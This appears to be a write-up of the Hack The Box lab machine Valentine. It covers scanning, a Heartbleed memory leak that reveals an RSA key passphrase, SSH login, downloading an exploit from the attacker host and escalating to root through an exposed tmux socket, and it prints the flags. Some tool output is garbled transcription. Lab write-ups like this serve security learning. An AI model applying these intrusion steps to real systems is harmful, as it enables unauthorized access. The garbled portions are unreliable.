Running nmap scan reveals

```
ne# nmap -sV -sC -oN valentine 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 18:06 EDT
Nmap scan report for 10.10.10.79
Host is up (0.097s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
                      OpenSSH 5.9pl Debian Subuntul.10 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
   256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http
                     Apache httpd 2.2.22 ((Ubuntu))
 http-server-header: Apache/2.2.22 (Ubuntu)
 http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
http-server-header: Apache/2.2.22 (Ubuntu)
http-title: Site doesn't have a title (text/html).
ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
Not valid before: 2018-02-06T00:45:25
 _Not valid after: 2019-02-06T00:45:25
 _ssl-date: 2020-05-29T02:06:58+00:00; +3h59m57s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Host script results:
clock-skew: 3h59m56s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.17 seconds
```

Nikto output on http

```
The AVSS-Portection X-Passe-Options Reader is not present.
The X-VSS-Portection X-Passe-Options Reader is not present.
The X-VSS-Portection X-Passe-Options Reader is not defined. This header can bint to the user agent to present against some forms of 356
The X-Centent-Type-Options header is not set. This could allow the user agent to present of the site in a different fashion to the MINE type
Agacher_2.22 appears to be subsisted (corrent in at Least Apather_2.4.37). Apache 2.2.34 is the EDL for the 2.s branch.
Uncommon header 'ton' found, with contents: list
Apache and negoriation is essabled with Multiviews, which allows attackers to easily brute force file names. See http://www.misec.it/sectos.phprid=68886bdc586is. The following alternatives for 'ind'
is 'were found: index_php
Neb Server returns a valid response with junk HTTP methods, this may cause false positives.
09/006-12384: //=PPRESSSSY248-3032-1161-3289-accessed00000: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY248-3032-1161-3289-accessed00000: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY348-328-1162-329-00044881acFa2: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY348-328-1162-329-00044881acFa2: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY348-328-1162-329-00044881acFa2: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY348-328-1162-329-00044881acFa2: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY strings.
09/006-12384: //=PPRESSSSY348-328-1162-329-300448881cFa2: PRF reveals patentially sensitive information via certain HTTP requests that contain specific OURPY
```

nikto on https

Gobuster reveals /index and /dev very quickly and then later reveals /encode and /decode. A bit later we get /omg

```
2020/05/28 18:11:38 Starting gobuster
/index (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/decode (Status: 200)
omg (Status: 200)
/server-status (Status: 403)
_____
2020/05/28 18:46:21 Finished
______
```

Notes.txt

To do:

- 1) Coffee.
- Research.

- Fix decoder/encoder before going live.
 Make sure encoding/decoding is only done client-side.
 Don't use the decoder/encoder until any of this is done.
 Find a better way to take notes.

hype_key

Decoding the hex reveals an RSA private key but its encrypted... good thing I wrote a script for this purpose

----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

After a minute or so I get an output saying that

rootSkal1:=/HTB/Valentine# python crack.py -k rsa_key -w /usr/share/wordlists/rockyou.txt
Enter pass phrase for rsa_key:
139620781483200:error:28078065:UI routines:UI_set_result_ex:result too small:../crypto/ui/ui_lib.c:905:You must type in 4 to 1023 characters

After modifying the script to show the password which caused this, we get the password: 321456

Nevermind this wasnt right.... I forgot to enumerate the https portion (TLS/SSL ARE IMPORTANT TO ENUMERATE)

the encode function seems to base64 encode our data

Your input:

abcd

Your encoded input:

YWJjZA==

Clicking the hyperlink at the bottom brings us to /encode/decode.php

Secure Data Encoder - No Data is Stored On Our Servers

		1 5	
		submit	

Click here to use the decoder.

the encode function seems to base64 encode our data

Clicking the hyperlink at the bottom brings us to /encode/decode.php

Running this nse script allows us to check what tls/ssl versions a server is running, and we find two vulnerabilities associated with the server

POODLE and HEARTBLEED...

```
ali:~/HTB/Valentine# nmap --script=ssl-enum-ciphers.nse 10.10.10.79 -p 443
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 19:30 EDT
Nmap scan report for 10.10.10.79
Host is up (0.093s latency).
PORT
        STATE SERVICE
443/tcp open https
 ssl-enum-ciphers:
    SSLv3:
      ciphers:
        TLS DHE RSA WITH 3DES EDE CBC SHA (dh 2048) - C
        TLS DHE RSA WITH AES 128 CBC SHA (dh 2048) - A
        TLS DHE RSA WITH AES 256 CBC SHA (dh 2048) - A
        TLS DHE RSA WITH CAMELLIA 128 CBC SHA (dh 2048) - A
        TLS DHE RSA WITH CAMELLIA 256 CBC SHA (dh 2048) - A
        TLS DHE RSA WITH SEED CBC SHA (dh 2048) - A
       TLS ECDHE RSA WITH 3DES EDE CBC SHA (secp256r1) - C
        TLS ECDHE RSA WITH AES 128 CBC SHA (secp256r1) - A
        TLS ECDHE RSA WITH AES 256 CBC SHA (secp256r1) - A
        TLS ECDHE RSA WITH RC4 128 SHA (secp256r1) - C
        TLS RSA WITH 3DES EDE CBC SHA (rsa 2048) - C
        TLS RSA WITH AES 128 CBC SHA (rsa 2048) - A
        TLS RSA WITH AES 256 CBC SHA (rsa 2048) - A
        TLS RSA WITH CAMELLIA 128 CBC SHA (rsa 2048) - A
        TLS RSA WITH CAMELLIA 256 CBC SHA (rsa 2048) - A
        TLS RSA WITH RC4 128 SHA (rsa 2048) - C
        TLS RSA WITH SEED CBC SHA (rsa 2048) - A
      compressors:
        NULL
      cipher preference: client
     warnings:
        64-bit block cipher 3DES vulnerable to SWEET32 attack
        Broken cipher RC4 is deprecated by RFC 7465
        CBC-mode cipher in SSLv3 (CVE-2014-3566)
        Weak certificate signature: SHA1
    TLSv1.0:
      ciphers:
        TLS DHE RSA WITH 3DES EDE CBC SHA (dh 2048) - C
        TLS DHE RSA WITH AES 128 CBC SHA (dh 2048) - A
        TLS DHE RSA WITH AES 256 CBC SHA (dh 2048) - A
```

Heartbleed is going to be our choice of exploits here because POODLE is used for MITM, and theres no one we are intercepting

After running a heartbleed exploit on the server we get an interesting string at the bottom

```
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==..T....6...8>=.|;.]q
```

Base64 encoded data running with a website that encodes and decodes from base64 the decoded string is "heartbleedbelievethehype"... after checking the output from 10 runs this string is repeated over and over...

Given heartbleed reveals data held in memory, oftentimes passwords or SSH keys, this might be the password needed to crack our RSA key

Surely enough when passing that to my cracking script:

```
root@kali:~/HTB/Valentine# python crack.py -k rsa_key -o out.key -w pass.txt
Key: heartbleedbelievethehype
Decrypted key saved to out.<u>k</u>ey
```

We should be able to use this key to ssh into the machine now

Logging into the machine took me way too long because I kept trying different usernames and modifying things while forgetting the encoded key name was called

after logging in with the username hype, we got in

```
root@kali:~/HTB/Valentine# ssh -i out.key hype@valentine.htb
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$
```

We got user...

```
hype@Valentine:~$ ls -la ./*
./Desktop:
total 12
drwxr-xr-x 2 hype hype 4096 Dec 13
                                    2017
drwxr-xr-x 21 hype hype 4096 Feb 5 2018 ...
-rw-rw-r-- 1 hype hype 33 Dec 13 2017 user.txt
./Documents:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5
                                    2018 ...
./Downloads:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5
                                    2018 ...
./Music:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5 2018 ...
./Pictures:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5
                                    2018 ...
./Public:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5
                                    2018 . .
./Templates:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5
                                    2018 ...
./Videos:
total 8
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .
drwxr-xr-x 21 hype hype 4096 Feb 5 2018 ...
hype@Valentine:~$ cat Desktop/user.txt
e6710a5464769fd5fcd216e076961750
hype@Valentine:~$
```

Check ps -ef | grep root and see a few interesting ones

```
0 19:01 ?
                              00:00:00 /usr/sbin/sshd -D
          1
1002
            0 19:01 tty4
                              00:00:00 /sbin/getty -8 38400 tty4
          1
1011
                              00:00:00 /sbin/getty -8 38400 tty5
            0 19:01 tty5
          1
1016
                              00:00:02 /usr/bin/tmux -5 /.devs/dev sess
          1
            0 19:01 ?
            0 19:01 pts/13
1019
       1016
                              00:00:00 -bash
1030
            0 19:01 tty2
                              00:00:00 /sbin/getty -8 38400 tty2
          1
                              00:00:00 /sbin/getty -8 38400 tty3
1031
          1 0 19:01 tty3
1033
          1 0 19:01 tty6
                              00:00:00 /sbin/getty -8 38400 tty6
            0 19:01 ?
1059
          1
                              00:00:00 acpid -c /etc/acpi/events -s /var/run/acpid.socket
1060
            0 19:01 ?
                              00:00:00 cron
          1
1099
            0 19:01 ?
                              00:00:06 /usr/bin/vmtoolsd
          1
                              00:00:00 /usr/sbin/apache2 -k start
1264
          1
            0 19:01 ?
            0 19:01 ttyl
1445
                              00:00:00 /sbin/getty -8 38400 ttyl
          1
1602
            0 19:01 ?
                              00:00:00 /usr/lib/vmware-vgauth/VGAuthService -s
          1
          1 0 19:01 ?
1637
                              00:00:02 //usr/lib/vmware-caf/pme/bin/ManagementAgentHost
2395
          2
            0 19:16 ?
                              00:00:03 [kworker/0:1]
2803
          2
            0 21:12 ?
                              00:00:00 [kworker/0:0]
2816
        913
            0 21:15
                              00:00:00 sshd: hype [priv]
            0 21:16 ?
                              00:00:00 /usr/sbin/console-kit-daemon --no-daemon
2823
          1
```

sshd hype priv and cron mostly... im going to look into apache2 now because we have write access and the ability to restart it. We might be able to have it restart and still owned by root... unsure

```
1.0 113124 10976 7
                                                      19:01
                                                              0:00 /usr/sbin/apache2 -k start
                                                              0:00 /sbin/getty -8 38400 ttyl
           1445
                0.0
                          19976
                                   976 tty1
                                                 Ss+
                                                      19:01
                      8.8
                                                      19:01
                      1.8 66916 10304 ?
                                                              0:00 /usr/lib/vmware-vgauth/VGAuthService -s
           1602
                0.0
                                                 s
                                                 s١
           1637 0.0
                     0.5 510124 5452 ?
                                                      19:01
                                                              0:02 //usr/lib/vmware-caf/pme/bin/ManagementAgentHost
           2395 0.0
                     0.0
                               Θ
                                     0 ?
                                                 s
                                                      19:16
                                                              0:03 [kworker/0:1]
           2803 0.0 0.0
                                                 s
                               0
                                     0 ?
                                                      21:12
                                                              0:00 [kworker/0:0]
                                                 Ss
           2816
                0.0
                      0.3 92220
                                  3968 ?
                                                      21:15
                                                              0:00 sshd: hype [priv]
           2823
                 0.0
                      0.3 584296
                                  3832
                                                 sι
                                                      21:16
                                                              0:00 /usr/sbin/console-kit-daemon --no-daemon
           3309
                 0.0
                      \theta. \theta
                               0
                                     Θ
                                                 S
                                                      21:26
                                                              0:00 [kworker/0:2]
                                                              0:00 grep --color=auto r
           3311
                0.0
                      0.0
                           13580
                                   920 pts/0
                                                 5+
                                                      21:26
hype@Valentine:~$ ls -la /usr/bin/vmtoolsd
-rwxr-xr-x 1 root root 44272 Dec 2 2015 /usr/bin/vmtoolsd
hype@Valentine:-$ ls -la /usr/sbin/apache2
lrwxrwxrwx 1 root root 34 Jul 15 2016 /usr/sbin/apache2 -> ../lib/apache2/mpm-prefork/apache2
hype@Valentine:~$ /usr/sbin/apache2 -h
Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file]
                         [-C "directive"] [-c "directive"]
                         [-k start|restart|graceful|graceful-stop|stop]
                         [-v] [-V] [-h] [-l] [-L] [-t] [-T] [-S] [-X]
Options:
                     : define a name for use in <IfDefine name> directives

    D name

    d directory

                     : specify an alternate initial ServerRoot
  -f file
                     : specify an alternate ServerConfigFile
    "directive"
                     : process directive before reading config files
  -C
  - c
    "directive"
                     : process directive after reading config files
                     : show startup errors of level (see LogLevel)
  -e level
  -E file
                     : log startup errors to file
                     : show version number
  ٠V
                     : show compile settings
  -h
                      : list available command line options (this page)
                     : list compiled in modules
  ٠L
                     : list available configuration directives
  -t -D DUMP VHOSTS
                     : show parsed settings (currently only vhost settings)
                       a synonym for -t -D DUMP VHOSTS
  -t -D DUMP MODULES : show all loaded modules
                     : a synonym for -t -D DUMP MODULES
  - M
                     : run syntax check for config files
  -t
  - T
                     : start without DocumentRoot(s) check
  - X
                     : debug mode (only one worker, do not detach)
hype@Valentine:~$
```

```
Connecting to 10.10.14.2:9800... connected.
HTTP request sent, awaiting response... 200 OK
_ength: 5563 (5.4K) [text/plain]
Saving to: `sudo_exploit.c'

100%[=======>] 5,563 --.-K/s in 0s

2020-05-28 21:36:54 (505 MB/s) - `sudo_exploit.c' saved [5563/5563]

hype@Valentine:-$ gcc -o sudo_exploit sudo_exploit.c
```

Didnt work

Also noted that root and hype both are running tmux.. not sure what we can do with this

```
hype@Valentine:~$ ps -u root | grep tmux
1016 ? 00:00:03 tmux
hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 May 28 19:01 /.devs/dev_sess
hype@Valentine:~$
```

wow... the command "tmux -S /.dev/dev_sess" just gave us access to the root tmux session because hype has read/write privleges to root's tmux session....

```
root@Valentine:/home/hype# whoami
root
root@Valentine:/home/hype# cat /root/root.txt
f1bb6d759df1f272914ebbc9ed7765b2
```

this apparently works because some tmux implementations have a -S flag which incorrectly gives a user utmp group privleges... so we could access root's tmux session as well